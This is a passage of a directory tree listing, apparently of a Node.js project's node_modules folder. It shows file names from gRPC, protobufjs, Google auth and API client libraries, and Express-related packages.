│ │ │ │ │ │ ├── FloatValue.ts │ │ │ │ │ │ │ │ ├── GeneratedCodeInfo.ts │ │ │ │ │ │ │ │ ├── Int32Value.ts │ │ │ │ │ │ │ │ ├── Int64Value.ts │ │ │ │ │ │ │ │ ├── ListValue.ts │ │ │ │ │ │ │ │ ├── MessageOptions.ts │ │ │ │ │ │ │ │ ├── MethodDescriptorProto.ts │ │ │ │ │ │ │ │ ├── MethodOptions.ts │ │ │ │ │ │ │ │ ├── NullValue.ts │ │ │ │ │ │ │ │ ├── OneofDescriptorProto.ts │ │ │ │ │ │ │ │ ├── OneofOptions.ts │ │ │ │ │ │ │ │ ├── ServiceDescriptorProto.ts │ │ │ │ │ │ │ │ ├── ServiceOptions.ts │ │ │ │ │ │ │ │ ├── SourceCodeInfo.ts │ │ │ │ │ │ │ │ ├── StringValue.ts │ │ │ │ │ │ │ │ ├── Struct.ts │ │ │ │ │ │ │ │ ├── Timestamp.ts │ │ │ │ │ │ │ │ ├── UInt32Value.ts │ │ │ │ │ │ │ │ ├── UInt64Value.ts │ │ │ │ │ │ │ │ ├── UninterpretedOption.ts │ │ │ │ │ │ │ │ └── Value.ts │ │ │ │ │ │ │ └── rpc │ │ │ │ │ │ │ │ └── Status.ts │ │ │ │ │ │ ├── http_connection_manager.ts │ │ │ │ │ │ ├── listener.ts │ │ │ │ │ │ ├── lrs.ts │ │ │ │ │ │ ├── route.ts │ │ │ │ │ │ ├── udpa │ │ │ │ │ │ │ └── annotations │ │ │ │ │ │ │ │ ├── FieldMigrateAnnotation.ts │ │ │ │ │ │ │ │ ├── FileMigrateAnnotation.ts │ │ │ │ │ │ │ │ ├── MigrateAnnotation.ts │ │ │ │ │ │ │ │ ├── PackageVersionStatus.ts │ │ │ │ │ │ │ │ └── StatusAnnotation.ts │ │ │ │ │ │ └── validate │ │ │ │ │ │ │ ├── AnyRules.ts │ │ │ │ │ │ │ ├── BoolRules.ts │ │ │ │ │ │ │ ├── BytesRules.ts │ │ │ │ │ │ │ ├── DoubleRules.ts │ │ │ │ │ │ │ ├── DurationRules.ts │ │ │ │ │ │ │ ├── EnumRules.ts │ │ │ │ │ │ │ ├── FieldRules.ts │ │ │ │ │ │ │ ├── Fixed32Rules.ts │ │ │ │ │ │ │ ├── Fixed64Rules.ts │ │ │ │ │ │ │ ├── FloatRules.ts │ │ │ │ │ │ │ ├── Int32Rules.ts │ │ │ │ │ │ │ ├── Int64Rules.ts │ │ │ │ │ │ │ ├── KnownRegex.ts │ │ │ │ │ │ │ ├── MapRules.ts │ │ │ │ │ │ │ ├── MessageRules.ts │ │ │ │ │ │ │ ├── RepeatedRules.ts │ │ │ │ │ │ │ ├── SFixed32Rules.ts │ │ │ │ │ │ │ ├── SFixed64Rules.ts │ │ │ │ │ │ │ ├── SInt32Rules.ts │ │ │ │ │ │ │ ├── SInt64Rules.ts │ │ │ │ │ │ │ ├── StringRules.ts │ │ │ │ │ │ │ ├── TimestampRules.ts │ │ │ │ │ │ │ ├── UInt32Rules.ts │ │ │ │ │ │ │ └── UInt64Rules.ts │ │ │ │ │ │ ├── http_proxy.ts │ │ │ │ │ │ ├── index.ts │ │ │ │ │ │ ├── load-balancer-cds.ts │ │ │ │ │ │ ├── load-balancer-child-handler.ts │ │ │ │ │ │ ├── load-balancer-eds.ts │ │ │ │ │ │ ├── load-balancer-lrs.ts │ │ │ │ │ │ ├── load-balancer-pick-first.ts │ │ │ │ │ │ ├── load-balancer-priority.ts │ │ │ │ │ │ ├── load-balancer-round-robin.ts │ │ │ │ │ │ ├── load-balancer-weighted-target.ts │ │ │ │ │ │ ├── load-balancer.ts │ │ │ │ │ │ ├── load-balancing-config.ts │ │ │ │ │ │ ├── logging.ts │ │ │ │ │ │ ├── make-client.ts │ │ │ │ │ │ ├── max-message-size-filter.ts │ │ │ │ │ │ ├── metadata.ts │ │ │ │ │ │ ├── object-stream.ts │ │ │ │ │ │ ├── picker.ts │ │ │ │ │ │ ├── resolver-dns.ts │ │ │ │ │ │ ├── resolver-uds.ts │ │ │ │ │ │ ├── resolver-xds.ts │ │ │ │ │ │ ├── resolver.ts │ │ │ │ │ │ ├── resolving-load-balancer.ts │ │ │ │ │ │ ├── server-call.ts │ │ │ │ │ │ ├── server-credentials.ts │ │ │ │ │ │ ├── server.ts │ │ │ │ │ │ ├── service-config.ts │ │ │ │ │ │ ├── status-builder.ts │ │ │ │ │ │ ├── stream-decoder.ts │ │ │ │ │ │ ├── subchannel-pool.ts │ │ │ │ │ │ ├── subchannel.ts │ │ │ │ │ │ ├── tls-helpers.ts │ │ │ │ │ │ ├── uri-parser.ts │ │ │ │ │ │ ├── xds-bootstrap.ts │ │ │ │ │ │ └── xds-client.ts │ │ │ │ └── proto-loader │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ └── index.js │ │ │ │ │ └── package.json │ │ │ ├── @protobufjs │ │ │ │ ├── aspromise │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── base64 │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── codegen │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── eventemitter │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── fetch │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── float │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── bench │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ └── suite.js │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── inquire │ │ │ │ │ ├── .npmignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ ├── data │ │ │ │ │ │ ├── array.js │ │ │ │ │ │ ├── emptyArray.js │ │ │ │ │ │ ├── emptyObject.js │ │ │ │ │ │ └── object.js │ │ │ │ │ │ └── index.js │ │ │ │ ├── path │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ ├── pool │ │ │ │ │ ├── .npmignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ │ └── index.js │ │ │ │ └── utf8 │ │ │ │ │ ├── .npmignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package.json │ │ │ │ │ └── tests │ │ │ │ │ ├── data │ │ │ │ │ └── utf8.txt │ │ │ │ │ └── index.js │ │ │ ├── @types │ │ │ │ ├── color-name │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ └── package.json │ │ │ │ ├── long │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── index.d.ts │ │ │ │ │ └── package.json │ │ │ │ └── node │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── assert.d.ts │ │ │ │ │ ├── async_hooks.d.ts │ │ │ │ │ ├── base.d.ts │ │ │ │ │ ├── buffer.d.ts │ │ │ │ │ ├── child_process.d.ts │ │ │ │ │ ├── cluster.d.ts │ │ │ │ │ ├── console.d.ts │ │ │ │ │ ├── constants.d.ts │ │ │ │ │ ├── crypto.d.ts │ │ │ │ │ ├── dgram.d.ts │ │ │ │ │ ├── dns.d.ts │ │ │ │ │ ├── domain.d.ts │ │ │ │ │ ├── events.d.ts │ │ │ │ │ ├── fs.d.ts │ │ │ │ │ ├── globals.d.ts │ │ │ │ │ ├── globals.global.d.ts │ │ │ │ │ ├── http.d.ts │ │ │ │ │ ├── http2.d.ts │ │ │ │ │ ├── https.d.ts │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── inspector.d.ts │ │ │ │ │ ├── module.d.ts │ │ │ │ │ ├── net.d.ts │ │ │ │ │ ├── os.d.ts │ │ │ │ │ ├── package.json │ │ │ │ │ ├── path.d.ts │ │ │ │ │ ├── perf_hooks.d.ts │ │ │ │ │ ├── process.d.ts │ │ │ │ │ ├── punycode.d.ts │ │ │ │ │ ├── querystring.d.ts │ │ │ │ │ ├── readline.d.ts │ │ │ │ │ ├── repl.d.ts │ │ │ │ │ ├── stream.d.ts │ │ │ │ │ ├── string_decoder.d.ts │ │ │ │ │ ├── timers.d.ts │ │ │ │ │ ├── tls.d.ts │ │ │ │ │ ├── trace_events.d.ts │ │ │ │ │ ├── ts3.2 │ │ │ │ │ ├── base.d.ts │ │ │ │ │ ├── fs.d.ts │ │ │ │ │ ├── globals.d.ts │ │ │ │ │ ├── index.d.ts │ │ │ │ │ └── util.d.ts │ │ │ │ │ ├── ts3.4 │ │ │ │ │ ├── base.d.ts │ │ │ │ │ ├── globals.global.d.ts │ │ │ │ │ └── index.d.ts │ │ │ │ │ ├── ts3.7 │ │ │ │ │ ├── assert.d.ts │ │ │ │ │ ├── base.d.ts │ │ │ │ │ └── index.d.ts │ │ │ │ │ ├── tty.d.ts │ │ │ │ │ ├── url.d.ts │ │ │ │ │ ├── util.d.ts │ │ │ │ │ ├── v8.d.ts │ │ │ │ │ ├── vm.d.ts │ │ │ │ │ ├── worker_threads.d.ts │ │ │ │ │ └── zlib.d.ts │ │ │ ├── abort-controller │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── browser.js │ │ │ │ ├── browser.mjs │ │ │ │ ├── dist │ │ │ │ │ ├── abort-controller.d.ts │ │ │ │ │ ├── abort-controller.js │ │ │ │ │ ├── abort-controller.js.map │ │ │ │ │ ├── abort-controller.mjs │ │ │ │ │ ├── abort-controller.mjs.map │ │ │ │ │ ├── abort-controller.umd.js │ │ │ │ │ └── abort-controller.umd.js.map │ │ │ │ ├── package.json │ │ │ │ ├── polyfill.js │ │ │ │ └── polyfill.mjs │ │ │ ├── agent-base │ │ │ │ ├── README.md │ │ │ │ ├── dist │ │ │ │ │ └── src │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── index.js.map │ │ │ │ │ │ ├── promisify.d.ts │ │ │ │ │ │ ├── promisify.js │ │ │ │ │ │ └── promisify.js.map │ │ │ │ ├── package.json │ │ │ │ └── src │ │ │ │ │ ├── index.ts │ │ │ │ │ └── promisify.ts │ │ │ ├── ansi-regex │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── ansi-styles │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── arrify │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── base64-js │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── base64js.min.js │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── bignumber.js │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENCE │ │ │ │ ├── README.md │ │ │ │ ├── bignumber.d.ts │ │ │ │ ├── bignumber.js │ │ │ │ ├── bignumber.min.js │ │ │ │ ├── bignumber.min.js.map │ │ │ │ ├── bignumber.mjs │ │ │ │ ├── doc │ │ │ │ │ └── API.html │ │ │ │ └── package.json │ │ │ ├── body-parser │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ ├── lib │ │ │ │ │ ├── read.js │ │ │ │ │ └── types │ │ │ │ │ │ ├── json.js │ │ │ │ │ │ ├── raw.js │ │ │ │ │ │ ├── text.js │ │ │ │ │ │ └── urlencoded.js │ │ │ │ ├── node_modules │ │ │ │ │ ├── debug │ │ │ │ │ │ ├── .coveralls.yml │ │ │ │ │ │ ├── .eslintrc │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ ├── .travis.yml │ │ │ │ │ │ ├── CHANGELOG.md │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ ├── Makefile │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── component.json │ │ │ │ │ │ ├── karma.conf.js │ │ │ │ │ │ ├── node.js │ │ │ │ │ │ ├── package.json │ │ │ │ │ │ └── src │ │ │ │ │ │ │ ├── browser.js │ │ │ │ │ │ │ ├── debug.js │ │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ │ ├── inspector-log.js │ │ │ │ │ │ │ └── node.js │ │ │ │ │ └── ms │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── license.md │ │ │ │ │ │ ├── package.json │ │ │ │ │ │ └── readme.md │ │ │ │ └── package.json │ │ │ ├── buffer-equal-constant-time │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE.txt │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── test.js │ │ │ ├── buffer-from │ │ │ │ ├── LICENSE │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── bytes │ │ │ │ ├── History.md │ │ │ │ ├── LICENSE │ │ │ │ ├── Readme.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── camelcase │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── cliui │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE.txt │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── color-convert │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── conversions.js │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── route.js │ │ │ ├── color-name │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── concat-stream │ │ │ │ ├── LICENSE │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── content-type │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── core-util-is │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── float.patch │ │ │ │ ├── lib │ │ │ │ │ └── util.js │ │ │ │ ├── package.json │ │ │ │ └── test.js │ │ │ ├── debug │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── dist │ │ │ │ │ └── debug.js │ │ │ │ ├── package.json │ │ │ │ └── src │ │ │ │ │ ├── browser.js │ │ │ │ │ ├── common.js │ │ │ │ │ ├── index.js │ │ │ │ │ └── node.js │ │ │ ├── decamelize │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── depd │ │ │ │ ├── History.md │ │ │ │ ├── LICENSE │ │ │ │ ├── Readme.md │ │ │ │ ├── index.js │ │ │ │ ├── lib │ │ │ │ │ ├── browser │ │ │ │ │ │ └── index.js │ │ │ │ │ └── compat │ │ │ │ │ │ ├── callsite-tostring.js │ │ │ │ │ │ ├── event-listener-count.js │ │ │ │ │ │ └── index.js │ │ │ │ └── package.json │ │ │ ├── duplexify │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── example.js │ │ │ │ ├── index.js │ │ │ │ ├── node_modules │ │ │ │ │ ├── readable-stream │ │ │ │ │ │ ├── .travis.yml │ │ │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ │ │ ├── GOVERNANCE.md │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── doc │ │ │ │ │ │ │ └── wg-meetings │ │ │ │ │ │ │ │ └── 2015-01-30.md │ │ │ │ │ │ ├── duplex-browser.js │ │ │ │ │ │ ├── duplex.js │ │ │ │ │ │ ├── lib │ │ │ │ │ │ │ ├── _stream_duplex.js │ │ │ │ │ │ │ ├── _stream_passthrough.js │ │ │ │ │ │ │ ├── _stream_readable.js │ │ │ │ │ │ │ ├── _stream_transform.js │ │ │ │ │ │ │ ├── _stream_writable.js │ │ │ │ │ │ │ └── internal │ │ │ │ │ │ │ │ └── streams │ │ │ │ │ │ │ │ ├── BufferList.js │ │ │ │ │ │ │ │ ├── destroy.js │ │ │ │ │ │ │ │ ├── stream-browser.js │ │ │ │ │ │ │ │ └── stream.js │ │ │ │ │ │ ├── package.json │ │ │ │ │ │ ├── passthrough.js │ │ │ │ │ │ ├── readable-browser.js │ │ │ │ │ │ ├── readable.js │ │ │ │ │ │ ├── transform.js │ │ │ │ │ │ ├── writable-browser.js │ │ │ │ │ │ └── writable.js │ │ │ │ │ ├── safe-buffer │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ └── package.json │ │ │ │ │ └── string_decoder │ │ │ │ │ │ ├── .travis.yml │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── lib │ │ │ │ │ │ └── string_decoder.js │ │ │ │ │ │ └── package.json │ │ │ │ ├── package.json │ │ │ │ └── test.js │ │ │ ├── ecdsa-sig-formatter │ │ │ │ ├── CODEOWNERS │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── package.json │ │ │ │ └── src │ │ │ │ │ ├── ecdsa-sig-formatter.d.ts │ │ │ │ │ ├── ecdsa-sig-formatter.js │ │ │ │ │ └── param-bytes-for-alg.js │ │ │ ├── ee-first │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── emoji-regex │ │ │ │ ├── LICENSE-MIT.txt │ │ │ │ ├── README.md │ │ │ │ ├── es2015 │ │ │ │ │ ├── index.js │ │ │ │ │ └── text.js │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── text.js │ │ │ ├── end-of-stream │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── event-target-shim │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── dist │ │ │ │ │ ├── event-target-shim.js │ │ │ │ │ ├── event-target-shim.js.map │ │ │ │ │ ├── event-target-shim.mjs │ │ │ │ │ ├── event-target-shim.mjs.map │ │ │ │ │ ├── event-target-shim.umd.js │ │ │ │ │ └── event-target-shim.umd.js.map │ │ │ │ ├── index.d.ts │ │ │ │ └── package.json │ │ │ ├── express-recaptcha │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── README.v2.md │ │ │ │ ├── dist │ │ │ │ │ ├── index.d.ts │ │ │ │ │ ├── index.js │ │ │ │ │ ├── interfaces │ │ │ │ │ │ ├── RecaptchaMiddleware.d.ts │ │ │ │ │ │ ├── RecaptchaMiddleware.js │ │ │ │ │ │ ├── RecaptchaOptions.d.ts │ │ │ │ │ │ ├── RecaptchaOptions.js │ │ │ │ │ │ ├── RecaptchaResponse.d.ts │ │ │ │ │ │ ├── RecaptchaResponse.js │ │ │ │ │ │ ├── RecaptchaResponseData.d.ts │ │ │ │ │ │ ├── RecaptchaResponseData.js │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ └── index.js │ │ │ │ │ ├── typings │ │ │ │ │ │ ├── express-recaptcha.d.ts │ │ │ │ │ │ └── express-recaptcha.js │ │ │ │ │ ├── v2.d.ts │ │ │ │ │ ├── v2.js │ │ │ │ │ ├── v3.d.ts │ │ │ │ │ └── v3.js │ │ │ │ ├── package-lock.json │ │ │ │ └── package.json │ │ │ ├── extend │ │ │ │ ├── .editorconfig │ │ │ │ ├── .eslintrc │ │ │ │ ├── .jscs.json │ │ │ │ ├── .travis.yml │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── component.json │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── fast-text-encoding │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── compile.sh │ │ │ │ ├── externs.js │ │ │ │ ├── package.json │ │ │ │ ├── text.js │ │ │ │ ├── text.min.js │ │ │ │ └── text.min.js.map │ │ │ ├── find-up │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── gaxios │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── common.d.ts │ │ │ │ │ │ ├── common.js │ │ │ │ │ │ ├── common.js.map │ │ │ │ │ │ ├── gaxios.d.ts │ │ │ │ │ │ ├── gaxios.js │ │ │ │ │ │ ├── gaxios.js.map │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── index.js.map │ │ │ │ │ │ ├── retry.d.ts │ │ │ │ │ │ ├── retry.js │ │ │ │ │ │ └── retry.js.map │ │ │ │ └── package.json │ │ │ ├── gcp-metadata │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ └── index.js.map │ │ │ │ └── package.json │ │ │ ├── get-caller-file │ │ │ │ ├── LICENSE.md │ │ │ │ ├── README.md │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── index.js.map │ │ │ │ └── package.json │ │ │ ├── google-auth-library │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── auth │ │ │ │ │ │ ├── authclient.d.ts │ │ │ │ │ │ ├── authclient.js │ │ │ │ │ │ ├── computeclient.d.ts │ │ │ │ │ │ ├── computeclient.js │ │ │ │ │ │ ├── credentials.d.ts │ │ │ │ │ │ ├── credentials.js │ │ │ │ │ │ ├── envDetect.d.ts │ │ │ │ │ │ ├── envDetect.js │ │ │ │ │ │ ├── googleauth.d.ts │ │ │ │ │ │ ├── googleauth.js │ │ │ │ │ │ ├── iam.d.ts │ │ │ │ │ │ ├── iam.js │ │ │ │ │ │ ├── idtokenclient.d.ts │ │ │ │ │ │ ├── idtokenclient.js │ │ │ │ │ │ ├── jwtaccess.d.ts │ │ │ │ │ │ ├── jwtaccess.js │ │ │ │ │ │ ├── jwtclient.d.ts │ │ │ │ │ │ ├── jwtclient.js │ │ │ │ │ │ ├── loginticket.d.ts │ │ │ │ │ │ ├── loginticket.js │ │ │ │ │ │ ├── oauth2client.d.ts │ │ │ │ │ │ ├── oauth2client.js │ │ │ │ │ │ ├── refreshclient.d.ts │ │ │ │ │ │ └── refreshclient.js │ │ │ │ │ │ ├── crypto │ │ │ │ │ │ ├── browser │ │ │ │ │ │ │ ├── crypto.d.ts │ │ │ │ │ │ │ └── crypto.js │ │ │ │ │ │ ├── crypto.d.ts │ │ │ │ │ │ ├── crypto.js │ │ │ │ │ │ └── node │ │ │ │ │ │ │ ├── crypto.d.ts │ │ │ │ │ │ │ └── crypto.js │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── messages.d.ts │ │ │ │ │ │ ├── messages.js │ │ │ │ │ │ ├── options.d.ts │ │ │ │ │ │ ├── options.js │ │ │ │ │ │ ├── transporters.d.ts │ │ │ │ │ │ └── transporters.js │ │ │ │ └── package.json │ │ │ ├── google-gax │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── build │ │ │ │ │ ├── protos │ │ │ │ │ │ ├── google │ │ │ │ │ │ │ ├── api │ │ │ │ │ │ │ │ ├── annotations.proto │ │ │ │ │ │ │ │ ├── auth.proto │ │ │ │ │ │ │ │ ├── backend.proto │ │ │ │ │ │ │ │ ├── billing.proto │ │ │ │ │ │ │ │ ├── client.proto │ │ │ │ │ │ │ │ ├── config_change.proto │ │ │ │ │ │ │ │ ├── consumer.proto │ │ │ │ │ │ │ │ ├── context.proto │ │ │ │ │ │ │ │ ├── control.proto │ │ │ │ │ │ │ │ ├── distribution.proto │ │ │ │ │ │ │ │ ├── documentation.proto │ │ │ │ │ │ │ │ ├── endpoint.proto │ │ │ │ │ │ │ │ ├── expr │ │ │ │ │ │ │ │ │ ├── v1alpha1 │ │ │ │ │ │ │ │ │ │ ├── checked.proto │ │ │ │ │ │ │ │ │ │ ├── conformance_service.proto │ │ │ │ │ │ │ │ │ │ ├── eval.proto │ │ │ │ │ │ │ │ │ │ ├── explain.proto │ │ │ │ │ │ │ │ │ │ ├── syntax.proto │ │ │ │ │ │ │ │ │ │ └── value.proto │ │ │ │ │ │ │ │ │ └── v1beta1 │ │ │ │ │ │ │ │ │ │ ├── decl.proto │ │ │ │ │ │ │ │ │ │ ├── eval.proto │ │ │ │ │ │ │ │ │ │ ├── expr.proto │ │ │ │ │ │ │ │ │ │ ├── source.proto │ │ │ │ │ │ │ │ │ │ └── value.proto │ │ │ │ │ │ │ │ ├── field_behavior.proto │ │ │ │ │ │ │ │ ├── http.proto │ │ │ │ │ │ │ │ ├── httpbody.proto │ │ │ │ │ │ │ │ ├── label.proto │ │ │ │ │ │ │ │ ├── launch_stage.proto │ │ │ │ │ │ │ │ ├── log.proto │ │ │ │ │ │ │ │ ├── logging.proto │ │ │ │ │ │ │ │ ├── metric.proto │ │ │ │ │ │ │ │ ├── monitored_resource.proto │ │ │ │ │ │ │ │ ├── monitoring.proto │ │ │ │ │ │ │ │ ├── quota.proto │ │ │ │ │ │ │ │ ├── resource.proto │ │ │ │ │ │ │ │ ├── service.proto │ │ │ │ │ │ │ │ ├── servicecontrol │ │ │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ │ │ │ ├── check_error.proto │ │ │ │ │ │ │ │ │ │ ├── distribution.proto │ │ │ │ │ │ │ │ │ │ ├── log_entry.proto │ │ │ │ │ │ │ │ │ │ ├── metric_value.proto │ │ │ │ │ │ │ │ │ │ ├── operation.proto │ │ │ │ │ │ │ │ │ │ ├── quota_controller.proto │ │ │ │ │ │ │ │ │ │ └── service_controller.proto │ │ │ │ │ │ │ │ ├── servicemanagement │ │ │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ │ │ │ ├── resources.proto │ │ │ │ │ │ │ │ │ │ └── servicemanager.proto │ │ │ │ │ │ │ │ ├── source_info.proto │ │ │ │ │ │ │ │ ├── system_parameter.proto │ │ │ │ │ │ │ │ └── usage.proto │ │ │ │ │ │ │ ├── iam │ │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ │ │ ├── iam_policy.proto │ │ │ │ │ │ │ │ │ ├── logging │ │ │ │ │ │ │ │ │ └── audit_data.proto │ │ │ │ │ │ │ │ │ ├── options.proto │ │ │ │ │ │ │ │ │ └── policy.proto │ │ │ │ │ │ │ ├── logging │ │ │ │ │ │ │ │ └── type │ │ │ │ │ │ │ │ │ ├── http_request.proto │ │ │ │ │ │ │ │ │ └── log_severity.proto │ │ │ │ │ │ │ ├── longrunning │ │ │ │ │ │ │ │ └── operations.proto │ │ │ │ │ │ │ ├── monitoring │ │ │ │ │ │ │ │ └── v3 │ │ │ │ │ │ │ │ │ ├── alert.proto │ │ │ │ │ │ │ │ │ ├── alert_service.proto │ │ │ │ │ │ │ │ │ ├── common.proto │ │ │ │ │ │ │ │ │ ├── dropped_labels.proto │ │ │ │ │ │ │ │ │ ├── group.proto │ │ │ │ │ │ │ │ │ ├── group_service.proto │ │ │ │ │ │ │ │ │ ├── metric.proto │ │ │ │ │ │ │ │ 